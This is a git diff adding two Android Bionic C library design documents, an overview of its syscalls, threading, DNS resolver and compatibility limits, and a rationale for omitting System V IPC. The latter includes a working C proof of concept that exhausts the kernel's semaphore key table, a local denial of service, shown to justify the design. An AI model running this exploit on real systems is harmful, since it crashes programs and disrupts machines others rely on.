diff options
Diffstat (limited to 'libc/docs')
| -rw-r--r-- | libc/docs/OVERVIEW.TXT | 388 | ||||
| -rw-r--r-- | libc/docs/SYSV-IPC.TXT | 103 |
2 files changed, 491 insertions, 0 deletions
diff --git a/libc/docs/OVERVIEW.TXT b/libc/docs/OVERVIEW.TXT new file mode 100644 index 0000000..4c153b1 --- /dev/null +++ b/libc/docs/OVERVIEW.TXT @@ -0,0 +1,388 @@ +Bionic C Library Overview: +========================== + +Introduction: + +Core Philosophy: + + The core idea behind Bionic's design is: KEEP IT REALLY SIMPLE. + + This implies that the C library should only provide lightweight wrappers + around kernel facilities and not try to be too smart to deal with edge cases. + + The name "Bionic" comes from the fact that it is part-BSD and part-Linux: + its source code consists in a mix of BSD C library pieces with custom + Linux-specific bits used to deal with threads, processes, signals and a few + others things. + + All original BSD pieces carry the BSD copyright disclaimer. Bionic-specific + bits carry the Android Open Source Project copyright disclaimer. And + everything is released under the BSD license. + +Architectures: + + Bionic currently supports the ARM and x86 instruction sets. In theory, it + should be possible to support more, but this may require a little work (e.g. + adding system call IDs to SYSCALLS.TXT, described below, or modifying the + dynamic linker). + + The ARM-specific code is under arch-arm/ and the x86-specific one is under + arch-x86/ + + Note that the x86 version is only meant to run on an x86 Android device. We + make absolutely no claim that you could build and use Bionic on a stock x86 + Linux distribution (though that would be cool, so patches are welcomed :-)) + +Syscall stubs: + + Each system call function is implemented by a tiny assembler source fragment + (called a "syscall stub"), which is generated automatically by + tools/gensyscalls.py which reads the SYSCALLS.TXT file for input. + + SYSCALLS.TXT contains the list of all syscall stubs to generate, along with + the corresponding syscall numeric identifier (which may differ between ARM + and x86), and its signature + + If you modify this file, you may want to use tools/checksyscalls.py which + checks its content against official Linux kernel header files, and will + report errors when invalid syscall ids are used. + + Sometimes, the C library function is really a wrapper that calls the + corresponding syscall with another name. For example, the exit() function + is provided by the C library and calls the _exit() syscall stub. + + See SYSCALLS.TXT for documentation and details. + + +time_t: + + time_t is 32-bit as defined by the kernel on 32-bit CPUs. A 64-bit version + would be preferrable to avoid the Y2038 bug, but the kernel maintainers + consider that this is not needed at the moment. + + Instead, Bionic provides a <time64.h> header that defines a time64_t type, + and related functions like mktime64(), localtime64(), etc... + + +Timezone management: + + The name of the current timezone is taken from the TZ environment variable, + if defined. Otherwise, the system property named 'persist.sys.timezone' is + checked instead. + + The zoneinfo timezone database and index files are located under directory + /system/usr/share/zoneinfo, instead of the more Posix-compliant path of + /usr/share/zoneinfo + + +off_t: + + For similar reasons, off_t is 32-bit. We define loff_t as the 64-bit variant + due to BSD inheritance, but off64_t should be available as a typedef to ease + porting of current Linux-specific code. + + +Linux kernel headers: + + Bionic comes with its own set of "clean" Linux kernel headers to allow + user-space code to use kernel-specific declarations (e.g. IOCTLs, structure + declarations, constants, etc...). They are located in: + + ./kernel/common, + ./kernel/arch-arm + ./kernel/arch-x86 + + These headers have been generated by a tool (kernel/tools/update-all.py) to + only include the public definitions from the original Linux kernel headers. + + If you want to know why and how this is done, read kernel/README.TXT to get + all the (gory) details. + + +PThread implementation: + + Bionic's C library comes with its own pthread implementation bundled in. + This is different from other historical C libraries which: + + - place it in an external library (-lpthread) + - play linker tricks with weak symbols at dynamic link time + + The support for real-time features (a.k.a. -lrt) is also bundled in the + C library. + + The implementation is based on futexes and strives to provide *very* short + code paths for common operations. Notable features are the following: + + - pthread_mutex_t, pthread_cond_t are only 4 bytes each. + + - Normal, recursive and error-check mutexes are supported, and the code + path is heavily optimized for the normal case, which is used most of + the time. + + - Process-shared mutexes and condition variables are not supported. + Their implementation requires far more complexity and was absolutely + not needed for Android (which uses other inter-process synchronization + capabilities). + + Note that they could be added in the future without breaking the ABI + by specifying more sophisticated code paths (which may make the common + paths slightly slower though). + + - There is currently no support for read/write locks, priority-ceiling in + mutexes and other more advanced features. Again, the main idea being + that this was not needed for Android at all but could be added in the + future. + +pthread_cancel(): + + pthread_cancel() will *not* be supported in Bionic, because doing this would + involve making the C library significantly bigger for very little benefit. + + Consider that: + + - A proper implementation must insert pthread cancellation checks in a lot + of different places of the C library. And conformance is very difficult + to test properly. + + - A proper implementation must also clean up resources, like releasing + memory, or unlocking mutexes, properly if the cancellation happens in a + complex function (e.g. inside gethostbyname() or fprintf() + complex + formatting rules). This tends to slow down the path of many functions. + + - pthread cancellation cannot stop all threads: e.g. it can't do anything + against an infinite loop + + - pthread cancellation itself has short-comings and isn't very portable + (see http://advogato.org/person/slamb/diary.html?start=49 for example). + + All of this is contrary to the Bionic design goals. If your code depends on + thread cancellation, please consider alternatives. + + Note however that Bionic does implement pthread_cleanup_push() and + pthread_cleanup_pop(), which can be used to handle cleanups that happen when + a thread voluntarily exits through pthread_exit() or returning from its + main function. + + +pthread_once(): + + Do not call fork() within a callback provided to pthread_once(). Doing this + may result in a deadlock in the child process the next time it calls + pthread_once(). + + Also, you can't throw a C++ Exception from the callback (see C++ Exception + Support below). + + The current implementation of pthread_once() lacks the necessary support of + multi-core-safe double-checked-locking (read and write barriers). + + +Thread-specific data + + The thread-specific storage only provides for a bit less than 64 + pthread_key_t objects to each process. The implementation provides 64 real + slots but also uses about 5 of them (exact number may depend on + implementation) for its own use (e.g. two slots are pre-allocated by the C + library to speed-up the Android OpenGL sub-system). + + Note that Posix mandates a minimum of 128 slots, but we do not claim to be + Posix-compliant. + + Except for the main thread, the TLS area is stored at the top of the stack. + See comments in bionic/libc/bionic/pthread.c for details. + + At the moment, thread-local storage defined through the __thread compiler + keyword is not supported by the Bionic C library and dynamic linker. + + +Multi-core support + + At the moment, Bionic does not provide or use read/write memory barriers. + This means that using it on certain multi-core systems might not be + supported, depending on its exact CPU architecture. + + +Android-specific features: + + Bionic provides a small number of Android-specific features to its clients: + + - access to system properties: + + Android provides a simple shared value/key space to all processes on the + system. It stores a liberal number of 'properties', each of them being a + simple size-limited string that can be associated to a size-limited + string value. + + The header <sys/system_properties.h> can be used to read system + properties and also defines the maximum size of keys and values. + + - Android-specific user/group management: + + There is no /etc/passwd or /etc/groups in Android. By design, it is + meant to be used by a single handset user. On the other hand, Android + uses the Linux user/group management features extensively to secure + process permissions, like access to various filesystem directories. + + In the Android scheme, each installed application gets its own + uid_t/gid_t starting from 10000; lower numerical ids are reserved for + system daemons. + + getpwnam() recognizes some hard-coded subsystems names (e.g. "radio") + and will translate them to their low-user-id values. It also recognizes + "app_1234" as the synthetic name of the application that was installed + with uid 10000 + 1234, which is 11234. getgrnam() works similarly + + getgrouplist() will always return a single group for any user name, + which is the one passed as an input parameter. + + getgrgid() will similarly only return a structure that contains a + single-element members list, corresponding to the user with the same + numerical value than the group. + + See bionic/libc/bionic/stubs.c for more details. + + - getservent() + + There is no /etc/services on Android. Instead the C library embeds a + constant list of services in its executable, which is parsed on demand + by the various functions that depend on it. See + bionic/libc/netbsd/net/getservent.c and + bionic/libc/netbsd/net/services.h + + The list of services defined internally might change liberally in the + future. This feature is mostly historically and is very rarely used. + + The getservent() returns thread-local data. getservbyport() and + getservbyname() are also implemented in a similar fashion. + + - getprotoent() + + There is no /etc/protocol on Android. Bionic does not currently + implement getprotoent() and related functions. If added, it will + likely be done in a way similar to getservent() + +DNS resolver: + + Bionic uses a NetBSD-derived resolver library which has been modified in + the following ways: + + - don't implement the name-server-switch feature (a.k.a. <nsswitch.h>) + + - read /system/etc/resolv.conf instead of /etc/resolv.conf + + - read the list of servers from system properties. the code looks for + 'net.dns1', 'net.dns2', etc.. Each property should contain the IP + address of a DNS server. + + these properties are set/modified by other parts of the Android system + (e.g. the dhcpd daemon). + + the implementation also supports per-process DNS server list, using the + properties 'net.dns1.<pid>', 'net.dns2.<pid>', etc... Where <pid> stands + for the numerical ID of the current process. + + - when performing a query, use a properly randomized Query ID (instead of + a incremented one), for increased security. + + - when performing a query, bind the local client socket to a random port + for increased security. + + - get rid of *many* unfortunate thread-safety issues in the original code + + Bionic does *not* expose implementation details of its DNS resolver; the + content of <arpa/nameser.h> is intentionally blank. The resolver + implementation might change completely in the future. + + +PThread Real-Time Timers: + + timer_create(), timer_gettime(), timer_settime() and timer_getoverrun() are + supported. + + Bionic also now supports SIGEV_THREAD real-time timers (see timer_create()). + The implementation simply uses a single thread per timer, unlike GLibc which + uses complex heuristics to try to use the less threads possible when several + timers with compatible properties are used. + + This means that if your code uses a lot of SIGEV_THREAD timers, your program + may consume a lot of memory. However, if your program needs many of these + timers, it'd better handle timeout events directly instead. + + Other timers (e.g. SIGEV_SIGNAL) are handled by the kernel and use much less + system resources. + + +Binary Compatibility: + + Bionic is *not* in any way binary-compatible with the GNU C Library, ucLibc + or any known Linux C library. This means several things: + + - You cannot expect to build something against the GNU C Library headers and + have it dynamically link properly to Bionic later. + + - You should *really* use the Android toolchain to build your program against + Bionic. The toolchain deals with many important details that are crucial + to get something working properly. + + Failure to do so will usually result in the inability to run or link your + program, or even runtime crashes. Several random web pages on the Internet + describe how you can succesfully write a "hello-world" program with the + ARM GNU toolchain. These examples usually work by chance, if anything else, + and you should not follow these instructions unless you want to waste a lot + of your time in the process. + + Note however that you *can* generate a binary that is built against the + GNU C Library headers and then statically linked to it. The corresponding + executable should be able to run (if it doesn't use dlopen()/dlsym()) + + +Dynamic Linker: + + Bionic comes with its own dynamic linker (just like ld.so on Linux really + comes from GLibc). This linker does not support all the relocations + generated by other GCC ARM toolchains. + + +C++ Exceptions Support: + + At the moment, Bionic doesn't support C++ exceptions, what this really means + is the following: + + - If pthread_once() is called with a C++ callback that throws an exception, + then the C library will keep the corresponding pthread_once_t mutex + locked. Any further call to pthread_once() will result in a deadlock. + + A proper implementation should be able to register a C++ exception + cleanup handler before the callback to properly unlock the + pthread_once_t. Unfortunately this requires tricky assembly code that + is highly dependent on the compiler. + + This feature is not planned to be supported anytime soon. + + - The same problem may arise if you throw an exception within a callback + called from the C library. Fortunately, these cases are very rare in the + real-world, but any callback you provide to the C library should *not* + throw an exception. + + - Bionic lacks a few support functions to have exception support work + properly. + +System V IPCs: + + Bionic intentionally does not provide support for System-V IPCs mechanisms, + like the ones provided by semget(), shmget(), msgget(). The reason for this + is to avoid denial-of-service. For a detailed rationale about this, please + read the file docs/SYSV-IPCS.TXT. + +Include Paths: + + The Android build system should automatically provide the necessary include + paths required to build against the C library headers. However, if you want + to do that yourself, you will need to add: + + libc/arch-$ARCH/include + libc/include + libc/kernel/common + libc/kernel/arch-$ARCH + + to your C include path. diff --git a/libc/docs/SYSV-IPC.TXT b/libc/docs/SYSV-IPC.TXT new file mode 100644 index 0000000..5a3eef0 --- /dev/null +++ b/libc/docs/SYSV-IPC.TXT @@ -0,0 +1,103 @@ +Android does not support System V IPCs, i.e. the facilities provided by the +following standard Posix headers: + + <sys/sem.h> /* SysV semaphores */ + <sys/shm.h> /* SysV shared memory segments */ + <sys/msg.h> /* SysV message queues */ + <sys/ipc.h> /* General IPC definitions */ + +The reason for this is due to the fact that, by design, they lead to global +kernel resource leakage. + +For example, there is no way to automatically release a SysV semaphore +allocated in the kernel when: + +- a buggy or malicious process exits +- a non-buggy and non-malicious process crashes or is explicitely killed. + +Killing processes automatically to make room for new ones is an +important part of Android's application lifecycle implementation. This means +that, even assuming only non-buggy and non-malicious code, it is very likely +that over time, the kernel global tables used to implement SysV IPCs will fill +up. + +At that point, strange failures are likely to occur and prevent programs that +use them to run properly until the next reboot of the system. + +And we can't ignore potential malicious applications. As a proof of concept +here is a simple exploit that you can run on a standard Linux box today: + +--------------- cut here ------------------------ +#include <sys/sem.h> +#include <sys/wait.h> +#include <unistd.h> +#include <stdio.h> +#include <stdlib.h> +#include <errno.h> + +#define NUM_SEMAPHORES 32 +#define MAX_FAILS 10 + +int main(void) +{ + int counter = 0; + int fails = 0; + + if (counter == IPC_PRIVATE) + counter++; + + printf( "%d (NUM_SEMAPHORES=%d)\n", counter, NUM_SEMAPHORES); + + for (;;) { + int ret = fork(); + int status; + + if (ret < 0) { + perror("fork:"); + break; + } + if (ret == 0) { + /* in the child */ + ret = semget( (key_t)counter, NUM_SEMAPHORES, IPC_CREAT ); + if (ret < 0) { + return errno; + } + return 0; + } + else { + /* in the parent */ + ret = wait(&status); + if (ret < 0) { + perror("waitpid:"); + break; + } + if (status != 0) { + status = WEXITSTATUS(status); + fprintf(stderr, "child %d FAIL at counter=%d: %d\n", ret, + counter, status); + if (++fails >= MAX_FAILS) + break; + } + } + + counter++; + if ((counter % 1000) == 0) { + printf("%d\n", counter); + } + if (counter == IPC_PRIVATE) + counter++; + } + return 0; +} +--------------- cut here ------------------------ + +If you run it on a typical Linux distribution today, you'll discover that it +will quickly fill up the kernel's table of unique key_t values, and that +strange things will happen in some parts of the system, but not all. + +(You can use the "ipcs -u" command to get a summary describing the kernel + tables and their allocations) + +For example, in our experience, anything program launched after that that +calls strerror() will simply crash. The USB sub-system starts spoutting weird +errors to the system console, etc... |